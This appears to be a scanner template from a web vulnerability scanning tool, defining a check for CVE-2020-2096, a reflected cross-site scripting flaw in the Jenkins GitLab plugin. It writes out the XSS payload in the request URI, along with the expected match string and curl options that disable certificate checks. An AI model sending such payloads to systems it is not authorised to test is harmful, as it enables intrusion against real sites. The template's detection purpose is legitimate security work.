|
AUTHOR='@xer0dayz'
|
|
VULN_NAME='CVE-2020-2096 Jenkins Gitlab XSS 2'
|
|
URI="/jenkins/git/build_now/a'\"><svg/onload=alert(document.domain)>"
|
|
METHOD='GET'
|
|
MATCH="Gitlab Web Hook"
|
|
SEVERITY='P3 - MEDIUM'
|
|
CURL_OPTS="--user-agent '' -s -L --insecure"
|
|
SECONDARY_COMMANDS=''
|
|
GREP_OPTIONS='-i' |